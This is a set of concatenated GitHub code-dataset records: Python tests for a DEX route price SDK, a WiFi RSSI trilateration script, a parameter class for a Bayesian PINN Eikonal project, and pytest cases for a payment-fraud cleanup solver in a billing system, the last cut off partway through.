self.pool_0_wicx = Pool(\n      token0,\n      wicx,\n      FeeAmount.MEDIUM,\n      encodeSqrtRatioX96(3, 1),\n      0,\n      TickMath.getTickAtSqrtRatio(encodeSqrtRatioX96(3, 1)),\n      []\n    )\n    self.pool_1_wicx = Pool(\n      token1,\n      wicx,\n      FeeAmount.MEDIUM,\n      encodeSqrtRatioX96(1, 7),\n      0,\n      TickMath.getTickAtSqrtRatio(encodeSqrtRatioX96(1, 7)),\n      []\n    )\n\n  def test_correctFor0Lt1(self):\n    price = Route([self.pool_0_1], token0, token1).midPrice\n    expect(price.toFixed(4)).toEqual('0.2')\n    expect(price.baseCurrency.equals(token0)).toEqual(True)\n    expect(price.quoteCurrency.equals(token1)).toEqual(True)\n\n  def test_isCached(self):\n    route = Route([self.pool_0_1], token0, token1)\n    expect(route.midPrice).toStrictEqual(route.midPrice)\n\n  def test_correctFor1Lt0(self):\n    price = Route([self.pool_0_1], token1, token0).midPrice\n    expect(price.toFixed(4)).toEqual('5')\n    expect(price.baseCurrency.equals(token1)).toEqual(True)\n    expect(price.quoteCurrency.equals(token0)).toEqual(True)\n\n  def test_correctFor0Lt1Lt2(self):\n    price = Route([self.pool_0_1, self.pool_1_2], token0, token2).midPrice\n    expect(price.toFixed(4)).toEqual('0.1')\n    expect(price.baseCurrency.equals(token0)).toEqual(True)\n    expect(price.quoteCurrency.equals(token2)).toEqual(True)\n\n  def test_correctFor2Lt1Lt0(self):\n    price = Route([self.pool_1_2, self.pool_0_1], token2, token0).midPrice\n    expect(price.toFixed(4)).toEqual('10')\n    expect(price.baseCurrency.equals(token2)).toEqual(True)\n    expect(price.quoteCurrency.equals(token0)).toEqual(True)\n\n  def test_correctForIcxLt0(self):\n    price = Route([self.pool_0_wicx], ICX, token0).midPrice\n    expect(price.toFixed(4)).toEqual('0.3333')\n    expect(price.baseCurrency.equals(ICX)).toEqual(True)\n    expect(price.quoteCurrency.equals(token0)).toEqual(True)\n\n  def test_correctFor1LtWicx(self):\n    price = Route([self.pool_1_wicx], token1, wicx).midPrice\n    expect(price.toFixed(4)).toEqual('0.1429')\n    expect(price.baseCurrency.equals(token1)).toEqual(True)\n    expect(price.quoteCurrency.equals(wicx)).toEqual(True)\n\n  def test_correctForIcxLt0Lt1LtWicx(self):\n    price = Route([self.pool_0_wicx, self.pool_0_1, self.pool_1_wicx], ICX, wicx).midPrice\n    expect(price.toFixed(6)).toEqual('0.009524')\n    expect(price.baseCurrency.equals(ICX)).toEqual(True)\n    expect(price.quoteCurrency.equals(wicx)).toEqual(True)\n\n  def test_correctForWicxLt0Lt1LtIcx(self):\n    price = Route([self.pool_0_wicx, self.pool_0_1, self.pool_1_wicx], wicx, ICX).midPrice\n    expect(price.toFixed(6)).toEqual('0.009524')\n    expect(price.baseCurrency.equals(wicx)).toEqual(True)\n    expect(price.quoteCurrency.equals(ICX)).toEqual(True)\n","repo_name":"Convexus-Protocol/convexus-sdk-py","sub_path":"tests/sdk/entities/test_route.py","file_name":"test_route.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"45113727112","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 27 15:03:03 2020\n\n@author: Dane\n\n\"\"\"\nimport numpy as np\n\nimport Extract_Data as ED\nimport RSSICalculations as RSSI_C\n\n\ndef trilaterate2D(NetworkLocations, NetworkDistances):\n    x1 = NetworkLocations[0][0]\n    x2 = NetworkLocations[1][0]\n    x3 = NetworkLocations[2][0]\n    y1 = NetworkLocations[0][1]\n    y2 = NetworkLocations[1][1]\n    y3 = NetworkLocations[2][1]\n    Points = []\n    for i in range(0,len(NetworkDistances[0])):\n        r1 = NetworkDistances[0][i]\n        r2 = NetworkDistances[1][i]\n        r3 = NetworkDistances[2][i]\n        points = circleIntersection(x1,x2,x3,y1,y2,y3,r1,r2,r3)\n        Points.append(points)\n    return Points\n\ndef circleIntersection(x1,x2,x3,y1,y2,y3,r1,r2,r3):\n    x = ((y2-y3)*((y2**2-y1**2)+(x2**2-x1**2)+(r1**2-r2**2))-(y1-y2)*((y3**2-y2**2)+(x3**2-x2**2)+(r2**2-r3**2)))/(2*((x1-x2)*(y2-y3)-(x2-x3)*(y1-y2)))\n    y = ((x2-x3)*((x2**2-x1**2)+(y2**2-y1**2)+(r1**2-r2**2))-(x1-x2)*((x3**2-x2**2)+(y3**2-y2**2)+(r2**2-r3**2)))/(2*((y1-y2)*(x2-x3)-(y2-y3)*(x1-x2)))\n    return [x,y]\n\ndef GetPosition(inputFile = 'ESP_Logs\\ESP_Log_Prtot3Test.txt'):\n    NetworkIDs = [\"Test_00\",\"Test_10\",\"Test_02\",\"Test_11\"]\n    NetworkLocations = [[0,0],[0,2.5],[4.5,0],[4.5,2.5]]\n    NetworkRSSIs = [[],[],[],[]]\n    NetworkDistances = [[],[],[],[]]\n    Points = []\n    Scansest = ED.Extract_Scans(inputFile)\n    \n    counter = 0\n    for k in NetworkIDs:\n        for i in Scansest:\n            for j in range(0,len(i[4])):\n                if i[4][j] == k:\n                    NetworkRSSIs[counter].append(i[5][j])\n        counter = counter + 1\n     \n    testvalues = [-41,-41,-36,-42,-44,-39,-39,-44,-42,-45]\n    testvaluesshort = [-34,-38,-38,-39,-38,-39,-41,-39,-38,-40]\n    sumv = 0\n    \n    for i in testvalues:\n        sumv = sumv + i\n    A0 = sumv/len(testvalues)               \n            \n    counter = 0\n    for k in NetworkRSSIs:\n        d = RSSI_C.RSSI_to_Distance(k,A_0 = A0)\n        NetworkDistances[counter] = d\n        counter = counter + 1\n        \n    Points = trilaterate2D(NetworkLocations, NetworkDistances)\n    return Points\nPoints = GetPosition()","repo_name":"danezielinskinicolson/RooBuck-Wifi-Wrist-Tracker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"33404253862","text":"#\nimport json\nimport os\n\n# local import\nfrom helpers import string_to_bool\n\n\"\"\"\nClass to handle all the parameters\n\"\"\"\nclass param:\n    \"\"\"Initializer\"\"\"\n    def __init__(self, hp, args):\n        self.method = args.method   # method used: SVGD or HMC\n        self.architecture = hp[\"architecture\"]  # NN architecture param\n        self.experiment = hp[\"experiment\"]  # experiment param\n        self.param = hp[\"param\"]    # general param\n        self.sigmas = hp[\"sigmas\"]  # sigmas param\n        self.utils = hp[\"utils\"]    # utils param\n\n        self.param_method = hp[args.method] # specific param for the selected method\n\n        self._change_string_to_bool()   # convert all the string \"True\" or \"False\" to boolean\n\n        # if we have some additional parameters from the command-line\n        if(self._length_additional(vars(args)) > 0):\n            self._update(vars(args))    # update param overspecified by command-line\n\n        # for these parameters we use the dictionaries specified at the bottom (n_input, pde and dataset_type)\n        self.n_input = n_input[self.experiment[\"dataset\"]] # store the dimension input (1D, 2D or 3D)\n        self.pde = pde[self.experiment[\"dataset\"]]  # isotropic or anisotropic\n        self.dataset_type = dataset_type[self.experiment[\"dataset\"]]    # analytical or dataset\n\n        # dimension of velocity: 1 if isotropic, >1 if anisotropic\n        self.n_output_vel = 1\n        if(self.experiment[\"dataset\"]==\"anisotropic1\"):\n            self.n_output_vel = 3\n        if(self.experiment[\"dataset\"]==\"anisotropic2\"):\n            self.n_output_vel = 2\n\n        # if experiment is analytical, specify the n of domain points\n        if(self.dataset_type == \"analytical\"):\n            if self.n_input == 1:\n                self.experiment[\"n_domain\"] = 1000\n            elif self.n_input == 2:\n                self.experiment[\"n_domain\"] = 10000\n            else:\n                self.experiment[\"n_domain\"] = 1000000\n\n        # check possible errors in parameters\n        self._check_parameter()\n\n################################################################################\n\n    \"\"\"Compute the lenght of additional parameters specified by command-line\"\"\"\n    def _length_additional(self, args_dict):\n        i = 0\n        for key in args_dict:\n            if(args_dict[key] != None):\n                i+=1\n        return (i-2)    # the first 2 are mandatory (method and config) and dont count as additional param\n\n    \"\"\"Change \"True\" and \"False\" string to boolean for each bool parameter \"\"\"\n    def _change_string_to_bool(self):\n        self.experiment[\"is_uniform_exact\"] = string_to_bool(self.experiment[\"is_uniform_exact\"])\n        self.sigmas[\"data_prior_noise_trainable\"] = string_to_bool(self.sigmas[\"data_prior_noise_trainable\"])\n        self.sigmas[\"pde_prior_noise_trainable\"] = string_to_bool(self.sigmas[\"pde_prior_noise_trainable\"])\n        self.utils[\"verbose\"] = string_to_bool(self.utils[\"verbose\"])\n        self.utils[\"save_flag\"] = string_to_bool(self.utils[\"save_flag\"])\n\n    \"\"\"Update the parameter given by json file using args (overspecification by command-line)\"\"\"\n    def _update(self, args_dict):\n        i = 0\n        for key in args_dict:\n            if(i > 2):\n                if args_dict[key] != None:\n                    if key in self.architecture:\n                        self.architecture[key] = args_dict[key]\n                    elif key in self.experiment:\n                        self.experiment[key] = args_dict[key]\n                    elif key in self.param:\n                        self.param[key] = args_dict[key]\n                    elif key in self.sigmas:\n                        self.sigmas[key] = args_dict[key]\n                    elif key in self.utils:\n                        self.utils[key] = args_dict[key]\n                    else: #param_method...\n                        if key in self.param_method:\n                            self.param_method[key] = args_dict[key]\n                        else:\n                            print(\"Wrong parameter \", key,\" for the selected method: \", self.method)\n            i+=1\n\n    \"\"\"Check the parameters\"\"\"\n    def _check_parameter(self):\n        pass\n\n    \"\"\"Print all the parameters\"\"\"\n    def print_parameter(self):\n        print(\"Method: \", self.method, \" \\n \")\n        print(\"architecture: \", self.architecture, \" \\n \")\n        print(\"experiment: \", self.experiment, \" \\n \")\n        print(\"param: \", self.param, \" \\n \")\n        print(\"sigmas: \", self.sigmas, \" \\n \")\n        print(\"utils: \", self.utils, \" \\n \")\n        print(\"param_method: \", self.param_method, \" \\n \")\n        print(\"n_input: \", self.n_input, \" \\n \")\n        print(\"n_output_vel: \", self.n_output_vel, \" \\n \")\n        print(\"pde_type: \", self.pde, \" \\n \")\n        print(\"dataset_type: \", self.dataset_type)\n\n    \"\"\"Save parameters\"\"\"\n    def save_parameter(self, path=\"\"):\n        with open(os.path.join(path,'param.json'), 'w') as outfile:\n            outfile.write(\"{ \\n\")\n\n            outfile.write(\" \\\"architecture\\\": \")\n            json.dump(self.architecture, outfile)\n            outfile.write(\", \\n\")\n\n            outfile.write(\" \\\"experiment\\\": \")\n            json.dump(self.experiment, outfile)\n            outfile.write(\", \\n\")\n\n            outfile.write(\" \\\"param\\\": \")\n            json.dump(self.param, outfile)\n            outfile.write(\", \\n\")\n\n            outfile.write(\" \\\"sigmas\\\": \")\n            json.dump(self.sigmas, outfile)\n            outfile.write(\", \\n\")\n\n            s = \" \\\"\"+self.method+\"\\\": \"\n            outfile.write(s)\n            json.dump(self.param_method, outfile)\n            outfile.write(\", \\n\")\n\n            outfile.write(\" \\\"utils\\\": \")\n            json.dump(self.utils, outfile)\n            outfile.write(\"\\n\")\n\n            outfile.write(\"}\")\n\n\"\"\"dictionary for input dimension given the dataset used\"\"\"\nn_input = {\n\"exponential\": 1,\n\"circle\": 2,\n\"triflag\": 2,\n\"square_with_circle\": 2,\n\"anisotropic1\": 2,\n\"anisotropic2\": 2,\n\"prova3D\": 3,\n\"prolate3D\": 3,\n\"prolate3D_scar_new_version\": 3,\n\"prolate3D_new_version\": 3\n}\n\n\n\"\"\"dictionary for isotropic or anisotropic pde given the dataset used\"\"\"\npde = {\n\"exponential\": \"isotropic\",\n\"circle\": \"isotropic\",\n\"triflag\": \"isotropic\",\n\"square_with_circle\": \"isotropic\",\n\"anisotropic1\": \"anisotropic\",\n\"anisotropic2\": \"anisotropic\",\n\"prova3D\": \"isotropic\",\n\"prolate3D\": \"isotropic\",\n\"prolate3D_scar_new_version\": \"isotropic\",\n\"prolate3D_new_version\": \"isotropic\"\n}\n\n\n\"\"\"dictionary for dataset_type (analytical functions or real dataset from Pykonal) given the dataset used\"\"\"\ndataset_type = {\n\"exponential\": \"analytical\",\n\"circle\": \"analytical\",\n\"triflag\": \"dataset\",\n\"square_with_circle\": \"dataset\",\n\"anisotropic1\": \"analytical\",\n\"anisotropic2\": \"analytical\",\n\"prova3D\": \"dataset\",\n\"prolate3D\": \"dataset\",\n\"prolate3D_scar_new_version\": \"dataset\",\n\"prolate3D_new_version\": \"dataset\"\n}\n","repo_name":"danielececcarelli/BPINN-UQ-Eikonal","sub_path":"utils/param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":6884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29044767237","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport pytest\nimport itertools\nimport mock\nimport datetime as dt\nfrom sqlalchemy import orm\n\nfrom balance import mapper\nfrom balance.payments.service_clients import ClientFraudStatus\nfrom autodasha.solver_cl import FraudCleaner, ParseException\nfrom autodasha.core.api.tracker import IssueTransitions, IssueReport\nfrom autodasha.db import mapper as a_mapper\n\nfrom tests.autodasha_tests.functional_tests import case_utils\nfrom tests.autodasha_tests.functional_tests import mock_utils\nfrom tests.autodasha_tests.common import db_utils\n\nDIRECT_ID = 7\nYM_PROCESSING_ID = 10001\nTRUST_API_PROCESSING_ID = 10501\n\nCOMMENTS = {\n    'not_like_payment_id':\n        '{} - не похож на внутренний ID платежа. Игнорируем.',\n    'no_payment_ids':\n        'Не удалось извлечь необходимые данные из условия задачи. '\n        'Пожалуйста, уточни ID платежа и создай новую задачу через ту же форму.',\n    'not_found_payment':\n        '{} - платеж с таким ID не найден в базе. Игнорируем',\n    'no_invoice':\n        '{} - не найден счет для платежа.',\n    'no_success_payment':\n        '{} - платеж неуспешный, возврат невозможен.',\n    'no_fraud_client':\n        'Факт фрода не подтверждён. Возврат средств невозможен.',\n    'already_fraud':\n        'Клиент {} уже помечен как фродер. Подтверждение не требуется.',\n    'half_fraud_comment':\n        'Коллеги, у клиента {client_data} проставлен флажок %%{{active_flag}}%%, '\n        'но не проставлен %%{no_active_flag}%%.\\n'\n        'Проверьте статус клиента в Балансе.\\n'\n        'Если клиент - фродер, нажмите \"Подтверждено\".\\n'\n        'При неподтверждении фрода нажмите \"Не подтверждено\".',\n    'full_fraud_comment':\n        'Коллеги, необходима проверка клиента: {client_data}.\\n'\n        'Если клиент - фродер, заблокируйте его в Балансе и нажмите \"Подтверждено\".\\n'\n        'При неподтверждении фрода нажмите \"Не подтверждено\".',\n    'info_comment':\n        'Информация о платежах:\\n{}',\n    'fraud_cleaner_report':\n        'Отчет о проделанных действиях:\\n{}',\n    'previus_issue_exists':\n        'Информация о клиенте {client_data} уже ожидается в задаче {issue_key}',\n    'no_single_client':\n        'Платежи в данном тикете не по одному клиенту. Это сильно усложняет автоматическую обработку.\\n'\n        'Раздели, пожалуйста, платежи по-клиентно, используя столбец CLIENT_ID в '\n        'информации о платежах и пересоздай тикет через ту же форму.',\n    'enqueued':\n        'Сгенерированные акты добавлены в очередь на выгрузку в ОЕБС.',\n    'empty_report':\n        'Действий не выполнено. Похоже, эти платежи уже были обработаны в другой задаче.',\n    'rechek_payments_id':\n        'Перепроверь, пожалуйста, информацию и заполни форму заново.'\n        ' Если у тебя остались вопросы, создай, пожалуйста, тикет в'\n        ' ((https://wiki.yandex-team.ru/Tikety-po-blacklisted/ поддержку Траста)).',\n    'all_is_done':\n        'На стороне Баланса все необходимые действия выполнены.'\n        ' К текущему тикету в скором времени прилинкуется тикет из поддержки Траста,'\n        ' в котором будет решен вопрос с возвратом платежа'\n}\n\n\nclass AbstractParseTestCase(case_utils.AbstractMockTestCase):\n    _default_lines = {\n        'summary': 'Мошенническое списание с карты',\n        'payments': 'Внутренний ID платежа: %s',\n        'comment': 'Дополнительная информация: вах вах'\n    }\n\n    def __init__(self):\n        self.payments = []\n\n    def get_payment_ids(self):\n        return ', '.join(p.id for p in self.payments)\n\n\nclass AbstractFailedCheckFormTestCase(AbstractParseTestCase):\n    _cases = []\n    __metaclass__ = case_utils.TestCaseMeta\n\n    def __init__(self):\n        super(AbstractFailedCheckFormTestCase, self).__init__()\n        self.comments = []\n\n    def add_result_row(self, comment_id, *args, **kwargs):\n        self.comments.append(COMMENTS[comment_id].format(*args, **kwargs))\n\n    def prepare_result(self):\n        raise NotImplementedError\n\n    def get_result(self):\n        self.prepare_result()\n        return self.comments\n\n\nclass AbstractSuccessCheckFormTestCase(AbstractParseTestCase):\n    _cases = []\n    __metaclass__ = case_utils.TestCaseMeta\n\n\nclass GoodPaymentsCase(AbstractSuccessCheckFormTestCase):\n    _representation = 'good_payments'\n\n    def get_data(self, mock_manager):\n        self.payments = [\n            mock_utils.create_trust_payment(mock_manager, id_=1111111111),\n            mock_utils.create_trust_payment(mock_manager, id_=2222222222)\n        ]\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам 1111111111 и 2222222222 хуе мое'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def get_result(self):\n        return self.payments\n\n\nclass GoodPaymentsCase2(AbstractSuccessCheckFormTestCase):\n    _representation = 'good_payments2'\n\n    def get_data(self, mock_manager):\n        self.payments = [\n            mock_utils.create_trust_payment(mock_manager, id_=1111111111),\n            mock_utils.create_trust_payment(mock_manager, id_=2222222222)\n        ]\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам 1111111111 и 2222222222 3 4 5 3232 32'\n                                            '323232 42 хуе мое'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def get_result(self):\n        return self.payments\n\n\nclass GoodPaymentsCase3(AbstractSuccessCheckFormTestCase):\n    _representation = 'good_payments3'\n\n    def get_data(self, mock_manager):\n        self.payments = [\n            mock_utils.create_trust_payment(mock_manager, id_=1111111111),\n            mock_utils.create_trust_payment(mock_manager, id_=2222222222),\n            mock_utils.create_trust_payment(mock_manager, id_=33333333333)\n        ]\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам '\n                                            '1111111111\\n и 2222222222,33333333333,'\n                                            '11111111111,  3 4 5 3232 32'\n                                            '323232 42 хуе мое'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def get_result(self):\n        return self.payments\n\n\nclass NoPaymentIdsCase(AbstractFailedCheckFormTestCase):\n    _representation = 'no_payment_ids'\n\n    def get_data(self, mock_manager):\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам то да се'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def prepare_result(self):\n        self.add_result_row('no_payment_ids')\n\n\nclass EmptyPaymentsCase(AbstractFailedCheckFormTestCase):\n    _representation = 'empty_payments'\n\n    def get_data(self, mock_manager):\n        lines = [\n            self._get_default_line(payments=''),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def prepare_result(self):\n        self.add_result_row('no_payment_ids')\n\n\nclass NoSuccessPaymentCase(AbstractFailedCheckFormTestCase):\n    _representation = 'no_success_payment'\n\n    def get_data(self, mock_manager):\n        self.payments = [\n            mock_utils.create_trust_payment(mock_manager, id_=1234567890, success=False)\n        ]\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам 1234567890'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def prepare_result(self):\n        self.add_result_row('no_success_payment', 1234567890),\n        self.add_result_row('no_payment_ids')\n\n\nclass UltimateFailedCase(AbstractFailedCheckFormTestCase):\n    _representation = 'ultimate_failed_case'\n\n    def get_data(self, mock_manager):\n        self.payments = [\n            mock_utils.create_trust_payment(mock_manager, id_=1234567891, success=False),\n        ]\n        lines = [\n            self._get_default_line(payments='Мне бы вот по платежам 1234567891,'\n                                            '1345, 123456789, 1, 12:00, 123456789111'),\n            self._get_default_line('comment')\n        ]\n        return self._get_default_line('summary'), lines\n\n    def prepare_result(self):\n        self.add_result_row('no_success_payment', 1234567891),\n        self.add_result_row('not_found_payment', 123456789111),\n        self.add_result_row('not_like_payment_id', 1345),\n        self.add_result_row('not_like_payment_id', 1)\n        self.add_result_row('not_like_payment_id', 12)\n        self.add_result_row('not_like_payment_id', 0)\n        self.add_result_row('not_like_payment_id', 123456789)\n        self.add_result_row('no_payment_ids')\n\n\n@pytest.mark.parametrize('mock_issue_data',\n                         [case() for case in AbstractSuccessCheckFormTestCase._cases],\n                         ids=lambda case: str(case),\n                         indirect=['mock_issue_data'])\ndef test_parse_success(mock_queue_object, mock_issue_data):\n    ri = IssueReport()\n    issue, case = mock_issue_data\n    required_res = case.get_result()\n    solver = FraudCleaner(mock_queue_object, issue)\n    res = solver.parse_issue(ri)\n\n    assert set(required_res) == set(res)\n\n\n@pytest.mark.parametrize('mock_issue_data',\n                         [case() for case in AbstractFailedCheckFormTestCase._cases],\n                         ids=lambda case: str(case),\n                         indirect=['mock_issue_data'])\ndef test_parse_failing(mock_queue_object, mock_issue_data):\n    issue, case = mock_issue_data\n    ri = IssueReport()\n\n    req_comment = case.get_result()\n\n    solver = FraudCleaner(mock_queue_object, issue)\n    with pytest.raises(ParseException):\n        solver.parse_issue(ri)\n\n    res_comment = {row for row in ri.comment.splitlines() if row}\n    assert set(req_comment) == res_comment\n\n\nclass RequiredResult(case_utils.RequiredResult):\n    def __init__(self, **kwargs):\n        self.commit = kwargs.get('commit')\n        self.delay = kwargs.get('delay')\n        self.summonees = kwargs.get('summonees', [])\n        super(RequiredResult, self).__init__(**kwargs)\n        self.assignee = 'autodasha'\n        self.reexported_acts = []\n        self.has_new_cfh_row = False\n        self.tags = []\n\n    @staticmethod\n    def get_comment(key, *args, **kwargs):\n        return COMMENTS.get(key).format(*args, **kwargs)\n\n\nclass AbstractDBTestCase(case_utils.AbstractDBTestCase):\n    summary = 'Мошенническое списание с карты'\n    author = 'anevskiy'\n    _description = '''\nСервис: Такси\nВнутренний ID платежа: {payment_ids}\nДополнительная информация: лалка\n\n'''.strip()\n    issue_key = 'test_fraud_cleaner'\n\n    _cases = []\n    __metaclass__ = case_utils.TestCaseMeta\n\n    def __init__(self):\n        super(AbstractDBTestCase, self).__init__()\n        self.payments = []\n        self.client = None\n        self.config = None\n\n    def setup_config(self, session, config):\n        config['FRAUD_CLEANER_SETTINGS'] = {\n            'fraud_managers': ['fraud_m1', 'fraud_m2'],\n            'support_logins': ['tis754'],\n            'support_manager': 'lidzhievatt',\n            'ym_procecessing_ids': [10001],\n            'yamoney_managers': ['ym_manager']\n        }\n        self.config = config\n\n    def add_payment(self,\n                    session,\n                    invoice=None,\n                    service_id=DIRECT_ID,\n                    processing_id=YM_PROCESSING_ID,\n                    success=True,\n                    paysys_code='TRUST'):\n        if paysys_code == 'TRUST':\n            p = db_utils.create_trust_payment(session, service_id, processing_id)\n        else:\n            p = db_utils.create_simple_payment(session, service_id, invoice)\n        p.payment_dt = dt.datetime.now() if success else None\n        p.invoice = invoice\n        session.flush()\n        self.payments.append(p)\n        return p\n\n    def add_trust_as_processing_payment(self, session, invoice=None, real_processing_id=YM_PROCESSING_ID):\n        real_p = self.add_payment(session, processing_id=real_processing_id)\n        self.payments = []\n        trust_api_p = db_utils.create_simple_payment(\n            session, DIRECT_ID, processing_id=TRUST_API_PROCESSING_ID\n        )\n        trust_api_p.transaction_id = real_p.purchase_token\n        trust_api_p.invoice = invoice\n        session.flush()\n        self.trust_api_p = trust_api_p\n        self.payments.append(real_p)\n        return real_p\n\n    @staticmethod\n    def create_client(session, name='Mr.Fraud',\n                      deny_cc=False, fraud_flag=False):\n\n        client = mapper.Client(name=name)\n        session.add(client)\n        client.deny_cc = deny_cc\n        fs = ClientFraudStatus(client)\n        session.add(fs)\n        fs.fraud_flag = fraud_flag\n        session.flush()\n        return client\n\n    @staticmethod\n    def create_invoice(session,\n                       client,\n                       order_qty=10,\n                       completed=0,\n                       do_acts=False\n                       ):\n        o = db_utils.create_order(session, client)\n        p = db_utils.create_person(session)\n\n        i = db_utils.create_invoice(\n            session, client, [(o, order_qty)], person=p, turn_on=True\n        )\n        o.do_process_completion(completed)\n        session.flush()\n        if do_acts:\n            i.generate_act(force=1)\n            session.flush()\n\n        return i\n\n    def prepare_data(self, session):\n        raise NotImplementedError\n\n    def _get_data(self, session):\n        self.prepare_data(session)\n        return dict(payment_ids=','.join(str(p.id) for p in self.payments))\n\n    @staticmethod\n    def balance_url(obj):\n        url = 'https://admin.balance.yandex-team.ru/'\n\n        if isinstance(obj, mapper.Client):\n            url += 'passports.xml?tcl_id=%s' % obj.id\n        elif isinstance(obj, mapper.Invoice):\n            url += 'invoice.xml?invoice_id=%s' % obj.id\n        else:\n            raise Exception(\n                'Object %s is not available for this function' % str(obj)\n            )\n\n        return url\n\n    def invoice_comment_data(self, i):\n        invoice_data = '(({url} {inv.external_id}))'.format(\n            url=self.balance_url(i), inv=i\n        )\n        return invoice_data\n\n    def client_comment_data(self):\n        cl = self.client\n        client_name = cl.name or 'Наименование отсутствует'\n        client_data = '(({url} {name} ({id_})))'.format(\n            url=self.balance_url(cl), name=client_name, id_=cl.id\n        )\n        return client_data\n\n    @staticmethod\n    def st_csv_data(columns, data, delimiter=';'):\n        csv_template = \"\"\"\n%%(csv delimiter={delimiter} head=1)\n{columns}\n{data}\n%%\n        \"\"\".strip()\n        table_data = '\\n'.join([delimiter.join(map(unicode, row)) for row in data])\n        columns = delimiter.join(columns)\n        table = csv_template.format(delimiter=delimiter,\n                                    columns=columns,\n                                    data=table_data)\n        return table\n\n    @staticmethod\n    def _get_invoice(p):\n        invoice = p.invoice or p.session.query(mapper.Payment).getone(transaction_id=p.purchase_token).invoice\n\n        if isinstance(invoice, mapper.ChargeNote):\n            return invoice.charge_invoice\n\n        return invoice\n\n    def get_payment_data(self, processing_id=None):\n        def get_processing_info(p_):\n            processing_info = '{pr.cc} ({pr.id})'.format(pr=p_.terminal.processing)\n            return processing_info\n\n        columns = (\n            'PAYMENT_ID', 'CLIENT_ID', 'TRUST_PAYMENT_ID', 'INVOICE',\n            'PROCESSING', 'PAYMENT_DT', 'AMOUNT', 'CURRENCY', 'CARD'\n        )\n        payments_list = []\n\n        for p_ in self.payments:\n            if p_.terminal.processing.cc == 'trustapi' and p_.transaction_id:\n                p_orig = p_.session.query(mapper.Payment).getone(purchase_token=p_.transaction_id)\n                payments_list.append(p_orig)\n            else:\n                payments_list.append(p_)\n\n        data = [(p.id, self._get_invoice(p).client_id, p.trust_payment_id or 'no trust payment',\n                 self.invoice_comment_data(self._get_invoice(p)), get_processing_info(p), p.payment_dt,\n                 '%g' % float(p.postauth_amount or p.amount or 0), p.currency, p.user_account) for p in payments_list]\n\n        if processing_id:\n            data = filter(lambda row: str(processing_id) in row[4], data)\n\n        comment = self.st_csv_data(columns, data)\n        return comment\n\n    def get_info_comment(self):\n        data = self.get_payment_data()\n        return COMMENTS.get('info_comment').format(data)\n\n    def get_approve_request(self, force=0):\n        picture_link = 'https://jing.yandex-team.ru/files/autodasha/approve_button_expanded.png'\n        deny_cc, fraud_flag = self.client.deny_cc, self.client.fraud_status.fraud_flag\n        cmt_data = self.client_comment_data()\n\n        if deny_cc and fraud_flag and not force:\n            raise Exception('Why do you need approve request?')\n\n        if not (deny_cc or fraud_flag):\n            comment = COMMENTS.get('full_fraud_comment').format(client_data=cmt_data)\n        else:\n            active_flag = 'DENY_CC' if deny_cc else 'FRAUD_FLAG'\n            no_active_flag = 'DENY_CC' if not deny_cc else 'FRAUD_FLAG'\n            comment = COMMENTS.get('half_fraud_comment').format(\n                client_data=cmt_data, active_flag=active_flag, no_active_flag=no_active_flag\n            )\n        approve_request = '\\n'.join((comment, picture_link))\n        return approve_request\n\n    def get_cleaner_report(self, additional_data):\n        assert len(self.payments) == len(additional_data)\n        data = []\n\n        for i in range(len(self.payments)):\n            p = self.payments[i]\n            d = additional_data[i]\n            row = (\n                p.id, self._get_invoice(p).client_id,\n                self.invoice_comment_data(self._get_invoice(p)),\n                d[0], d[1], d[2], d[3]\n            )\n            data.append(row)\n\n        columns = (\n            'PAYMENT_ID', 'CLIENT_ID', 'INVOICE', 'REVERSED_FREE_QTY',\n            'REVERSED_RECEIPT_SUM', 'NEW_ACTS', 'BAD_DEBTED_ACTS'\n        )\n\n        comment = self.st_csv_data(columns, data)\n\n        return COMMENTS.get('fraud_cleaner_report').format(comment)\n\n    def add_cfh_row(self, session, key=None, date=None):\n        cfh = a_mapper.ClientFraudHistory(\n            solver='FraudCleaner',\n            issue_key=key or self.issue_key,\n            object_id=self.client.id,\n            classname='Client',\n            dt=date or dt.datetime.now()\n        )\n        session.add(cfh)\n        session.flush()\n\n\nclass NoInvoiceCase(AbstractDBTestCase):\n    _representation = 'no_invoice'\n\n    def prepare_data(self, session):\n        self.add_payment(session)\n\n    def get_result(self):\n        res = RequiredResult(commit=False, delay=False)\n        comments = [COMMENTS['no_invoice'].format(self.payments[0].id), COMMENTS['rechek_payments_id']]\n        res.add_message('\\n'.join(comments))\n        res.transition = IssueTransitions.wont_fix\n        res.summonees = ['anevskiy']\n        return res\n\n\nclass TrustAsProcessingCase(AbstractDBTestCase):\n    _representation = 'trust_as_processing'\n\n    def prepare_data(self, session):\n        self.client = self.create_client(session, deny_cc=True, fraud_flag=True)\n        invoice = self.create_invoice(session, self.client)\n        self.add_trust_as_processing_payment(session, invoice)\n\n    def get_result(self):\n        res = RequiredResult(commit=True, delay=False)\n        res.transition = IssueTransitions.fixed\n        res.add_message(self.get_info_comment())\n        res.add_message(COMMENTS.get('already_fraud').format(self.client_comment_data()))\n        res.summonees = []\n        data = [(10, 300, '-', '-')]\n        res.add_message(self.get_cleaner_report(data))\n        res.add_message(COMMENTS['all_is_done'])\n        return res\n\n\nclass TrustAsProcessingWOInvoiceCase(AbstractDBTestCase):\n    _representation = 'trust_as_processing_wo_invoice'\n\n    def prepare_data(self, session):\n        